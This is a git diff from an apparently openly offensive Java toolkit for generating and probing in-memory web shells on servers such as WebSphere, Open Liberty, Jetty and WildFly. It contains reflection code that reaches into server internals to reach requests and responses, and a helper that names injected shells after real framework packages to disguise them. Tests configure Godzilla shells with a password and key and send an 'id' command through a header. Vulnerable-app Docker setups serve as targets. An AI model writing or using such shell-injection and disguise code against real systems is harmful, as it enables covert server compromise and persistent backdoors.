String servletName = (String) getFieldValue(servletFilterMapping, "_filterServlet");
|
||||||
|
if (servletName != null && !servletName.isEmpty()) {
|
||||||
|
((Set<String>) info.get("servletNames")).add(servletName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Object> filterFilterInfo1(Object uriFilterMappingInfo, Map<String, Map<String, Object>> aggregatedData) throws Exception {
|
||||||
|
Object filterConfig = getFieldValue(uriFilterMappingInfo, "filterConfig");
|
||||||
|
String filterName = (String) invokeMethod(filterConfig, "getFilterName", null, null);
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
info.put("filterClass", filterClassName);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
return aggregatedData.get(filterName);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Object> fillFilterInfo2(Object servletFilterMapping, Map<String, Map<String, Object>> aggregatedData, Object webAppConfig) throws Exception {
|
||||||
|
String filterName = (String) getFieldValue(servletFilterMapping, "_filterName");
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
Object filterConfig = invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
info.put("filterClass", filterClassName);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
return aggregatedData.get(filterName);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.ibm.ws.webcontainer.webapp.WebAppImpl
|
||||||
|
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Object[] threadLocals = null;
|
||||||
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// for websphere 7.x
|
||||||
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
|
for (Object stack : stackList) {
|
||||||
|
try {
|
||||||
|
Object config = getFieldValue(stack, "config");
|
||||||
|
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-3
@@ -1,7 +1,5 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
import org.eclipse.jetty.util.Callback;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
@@ -72,7 +70,8 @@ public class JettyWriter {
|
|||||||
} catch (Exception x) {
|
} catch (Exception x) {
|
||||||
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
||||||
ByteBuffer content = UTF_8.encode(result);
|
ByteBuffer content = UTF_8.encode(result);
|
||||||
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
|
Class<?> callBackClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.util.Callback");
|
||||||
|
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, callBackClass}, new Object[]{true, content, null});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+24
-6
@@ -22,17 +22,35 @@ public class WebSphereWriter {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
if (wsThreadLocal == null) {
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
// com.ibm.wsspi.webcontainer.WebContainerRequestState
|
// com.ibm.wsspi.webcontainer.WebContainerRequestState
|
||||||
if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {
|
if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
// com.ibm.ws.webcontainer.srt.SRTServletRequest
|
// com.ibm.ws.webcontainer.srt.SRTServletRequest
|
||||||
Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
|
Object request = getFieldValue(value, "currentThreadsIExtendedRequest");
|
||||||
// com.ibm.ws.webcontainer.srt.SRTServletResponse
|
// com.ibm.ws.webcontainer.srt.SRTServletResponse
|
||||||
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
|
Object response = getFieldValue(value, "currentThreadsIExtendedResponse");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
String result = "";
|
String result = "";
|
||||||
|
|||||||
@@ -96,8 +96,9 @@ public class CommonUtil {
|
|||||||
return className.substring(0, className.lastIndexOf("."));
|
return className.substring(0, className.lastIndexOf("."));
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String generateShellClassName() {
|
public static String generateClassName() {
|
||||||
return getRandomPackageName() + ".ErrorHandler";
|
String randomString = getRandomString(5);
|
||||||
|
return getRandomPackageName() + ".Error" + randomString.substring(0, 1).toUpperCase() + randomString.substring(1).toLowerCase() + "Handler";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String generateInjectorClassName() {
|
public static String generateInjectorClassName() {
|
||||||
@@ -111,38 +112,35 @@ public class CommonUtil {
|
|||||||
return className + "$Proxy0$$Lambda$1";
|
return className + "$Proxy0$$Lambda$1";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String generateShellClassName(String server, String shellType) {
|
public static String getWebPackageNameForServer(String server) {
|
||||||
String packageName;
|
|
||||||
switch (server) {
|
switch (server) {
|
||||||
case Jetty:
|
case Jetty:
|
||||||
packageName = "org.eclipse.jetty.servlet.handlers";
|
return "org.eclipse.jetty.servlet.handlers";
|
||||||
break;
|
|
||||||
case Undertow:
|
case Undertow:
|
||||||
packageName = "io.undertow.servlet.handlers";
|
return "io.undertow.servlet.handlers";
|
||||||
break;
|
|
||||||
case SpringWebMvc:
|
case SpringWebMvc:
|
||||||
packageName = "org.springframework.boot.mvc.handlers";
|
return "org.springframework.boot.mvc.handlers";
|
||||||
break;
|
|
||||||
case SpringWebFlux:
|
case SpringWebFlux:
|
||||||
packageName = "org.springframework.boot.webflux.handlers";
|
return "org.springframework.boot.webflux.handlers";
|
||||||
break;
|
|
||||||
case WebSphere:
|
case WebSphere:
|
||||||
packageName = "com.ibm.ws.webcontainer.handlers";
|
return "com.ibm.ws.webcontainer.handlers";
|
||||||
break;
|
|
||||||
case WebLogic:
|
case WebLogic:
|
||||||
packageName = "weblogic.servlet.internal.handlers";
|
return "weblogic.servlet.internal.handlers";
|
||||||
break;
|
|
||||||
case Resin:
|
case Resin:
|
||||||
packageName = "com.caucho.server.dispatch.handlers";
|
return "com.caucho.server.dispatch.handlers";
|
||||||
break;
|
|
||||||
case BES:
|
case BES:
|
||||||
packageName = "com.bes.enterprise.webtier.web.handlers";
|
return "com.bes.enterprise.webtier.web.handlers";
|
||||||
break;
|
case Apusic:
|
||||||
|
return "com.apusic.web.handlers";
|
||||||
|
case InforSuite:
|
||||||
|
return "com.cvicse.inforsuite.web.handlers";
|
||||||
default:
|
default:
|
||||||
packageName = "org.apache.http.web.handlers";
|
return "org.apache.http.web.handlers";
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
return packageName
|
}
|
||||||
|
|
||||||
|
public static String generateShellClassName(String server, String shellType) {
|
||||||
|
return getWebPackageNameForServer(server)
|
||||||
+ "." + getRandomString(5)
|
+ "." + getRandomString(5)
|
||||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||||
}
|
}
|
||||||
|
|||||||
+6
-6
@@ -30,8 +30,8 @@ class CustomShellGeneratorTest {
|
|||||||
void testListener() {
|
void testListener() {
|
||||||
byte[] bytes = new ByteBuddy()
|
byte[] bytes = new ByteBuddy()
|
||||||
.redefine(CommandListener.class)
|
.redefine(CommandListener.class)
|
||||||
.name(CommonUtil.generateShellClassName()).make().getBytes();
|
.name(CommonUtil.generateClassName()).make().getBytes();
|
||||||
String className = CommonUtil.generateShellClassName();
|
String className = CommonUtil.generateClassName();
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(Server.Tomcat)
|
.server(Server.Tomcat)
|
||||||
.shellType(ShellType.LISTENER)
|
.shellType(ShellType.LISTENER)
|
||||||
@@ -52,8 +52,8 @@ class CustomShellGeneratorTest {
|
|||||||
void testFilter() {
|
void testFilter() {
|
||||||
byte[] bytes = new ByteBuddy()
|
byte[] bytes = new ByteBuddy()
|
||||||
.subclass(Object.class)
|
.subclass(Object.class)
|
||||||
.name(CommonUtil.generateShellClassName()).make().getBytes();
|
.name(CommonUtil.generateClassName()).make().getBytes();
|
||||||
String className = CommonUtil.generateShellClassName();
|
String className = CommonUtil.generateClassName();
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.shellType(ShellType.FILTER)
|
.shellType(ShellType.FILTER)
|
||||||
.build();
|
.build();
|
||||||
@@ -72,8 +72,8 @@ class CustomShellGeneratorTest {
|
|||||||
void testValue() {
|
void testValue() {
|
||||||
byte[] bytes = new ByteBuddy()
|
byte[] bytes = new ByteBuddy()
|
||||||
.redefine(GodzillaValve.class)
|
.redefine(GodzillaValve.class)
|
||||||
.name(CommonUtil.generateShellClassName()).make().getBytes();
|
.name(CommonUtil.generateClassName()).make().getBytes();
|
||||||
String className = CommonUtil.generateShellClassName();
|
String className = CommonUtil.generateClassName();
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(Server.BES)
|
.server(Server.BES)
|
||||||
.shellType(ShellType.VALVE)
|
.shellType(ShellType.VALVE)
|
||||||
|
|||||||
+1
-1
@@ -33,7 +33,7 @@ class GodzillaGeneratorTest {
|
|||||||
.build();
|
.build();
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
.shellClass(GodzillaServlet.class)
|
.shellClass(GodzillaServlet.class)
|
||||||
.shellClassName(CommonUtil.generateShellClassName())
|
.shellClassName(CommonUtil.generateClassName())
|
||||||
.pass("pass")
|
.pass("pass")
|
||||||
.key("key")
|
.key("key")
|
||||||
.headerName("User-Agent")
|
.headerName("User-Agent")
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ hamcrest = "3.0"
|
|||||||
junit-jupiter = "5.14.1"
|
junit-jupiter = "5.14.1"
|
||||||
junit-pioneer = "2.3.0"
|
junit-pioneer = "2.3.0"
|
||||||
junit-platform = "1.14.1"
|
junit-platform = "1.14.1"
|
||||||
testcontainers = "2.0.2"
|
testcontainers = "2.0.3"
|
||||||
|
|
||||||
[libraries]
|
[libraries]
|
||||||
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
|
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
open-liberty-18:
|
||||||
|
image: open-liberty:18.0.0.4-webProfile8
|
||||||
|
platform: linux/amd64
|
||||||
|
ports:
|
||||||
|
- "9080:9080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
open-liberty-20:
|
||||||
|
image: open-liberty:20.0.0.12-full-java8-openj9
|
||||||
|
platform: linux/amd64
|
||||||
|
ports:
|
||||||
|
- "9080:9080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
open-liberty-22:
|
||||||
|
image: open-liberty:22.0.0.12-full-java11-openj9
|
||||||
|
platform: linux/amd64
|
||||||
|
ports:
|
||||||
|
- "9080:9080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp-jakarta.war:/config/dropins/app.war
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
open-liberty-25:
|
||||||
|
image: open-liberty:25.0.0.12-full-java17-openj9
|
||||||
|
platform: linux/amd64
|
||||||
|
ports:
|
||||||
|
- "9080:9080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
wildfly26:
|
||||||
|
image: quay.io/wildfly/wildfly:26.1.3.Final-jdk11
|
||||||
|
container_name: wildfly26
|
||||||
|
ports:
|
||||||
|
- 8080:8080
|
||||||
|
- 5005:5005
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp.war:/opt/jboss/wildfly/standalone/deployments/app.war
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
wildfly27:
|
||||||
|
image: quay.io/wildfly/wildfly:27.0.1.Final-jdk11
|
||||||
|
container_name: wildfly27
|
||||||
|
ports:
|
||||||
|
- 8080:8080
|
||||||
|
- 5005:5005
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/opt/jboss/wildfly/standalone/deployments/app.war
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
pgrep -f WSLauncher | tr -d '\n'
|
pgrep -f 'WSLauncher|ws-server.jar' | tr -d '\n'
|
||||||
@@ -15,7 +15,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-jakarta", "build", "libs", "vul-webapp-jakarta.war").toAbsolutePath());
|
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-jakarta", "build", "libs", "vul-webapp-jakarta.war").toAbsolutePath());
|
||||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath());
|
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
||||||
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
|
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||||
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
|
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
|
||||||
@@ -43,28 +43,32 @@ public class ContainerTool {
|
|||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(8080);
|
int port = container.getMappedPort(8080);
|
||||||
String url = "http://127.0.0.1:" + port + "/app";
|
String host = container.getHost();
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrlFromSpringBoot(GenericContainer<?> container) {
|
public static String getUrlFromSpringBoot(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(8080);
|
int port = container.getMappedPort(8080);
|
||||||
String url = "http://127.0.0.1:" + port;
|
String host = container.getHost();
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrlFromWebLogic(GenericContainer<?> container) {
|
public static String getUrlFromWebLogic(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(7001);
|
int port = container.getMappedPort(7001);
|
||||||
String url = "http://127.0.0.1:" + port + "/app";
|
String host = container.getHost();
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrlFromWAS(GenericContainer<?> container) {
|
public static String getUrlFromWAS(GenericContainer<?> container) {
|
||||||
int port = container.getMappedPort(9080);
|
int port = container.getMappedPort(9080);
|
||||||
String url = "http://127.0.0.1:" + port + "/app";
|
String host = container.getHost();
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
log.info("container started, app url is : {}", url);
|
log.info("container started, app url is : {}", url);
|
||||||
return url;
|
return url;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,6 +11,9 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import okhttp3.*;
|
import okhttp3.*;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.anyOf;
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -44,6 +47,7 @@ public class ProbeAssertion {
|
|||||||
.build();
|
.build();
|
||||||
Request request = new Request.Builder()
|
Request request = new Request.Builder()
|
||||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
.header("Referer", url)
|
||||||
.url(url + "/biginteger").post(requestBody)
|
.url(url + "/biginteger").post(requestBody)
|
||||||
.build();
|
.build();
|
||||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||||
@@ -73,6 +77,7 @@ public class ProbeAssertion {
|
|||||||
.build();
|
.build();
|
||||||
Request request = new Request.Builder()
|
Request request = new Request.Builder()
|
||||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
.header("Referer", url)
|
||||||
.url(url + "/biginteger").post(requestBody)
|
.url(url + "/biginteger").post(requestBody)
|
||||||
.build();
|
.build();
|
||||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||||
@@ -102,6 +107,7 @@ public class ProbeAssertion {
|
|||||||
Request request = new Request.Builder()
|
Request request = new Request.Builder()
|
||||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
.header(headerName, "id")
|
.header(headerName, "id")
|
||||||
|
.header("Referer", url)
|
||||||
.url(url + "/biginteger").post(requestBody)
|
.url(url + "/biginteger").post(requestBody)
|
||||||
.build();
|
.build();
|
||||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||||
@@ -132,6 +138,7 @@ public class ProbeAssertion {
|
|||||||
.build();
|
.build();
|
||||||
Request request = new Request.Builder()
|
Request request = new Request.Builder()
|
||||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
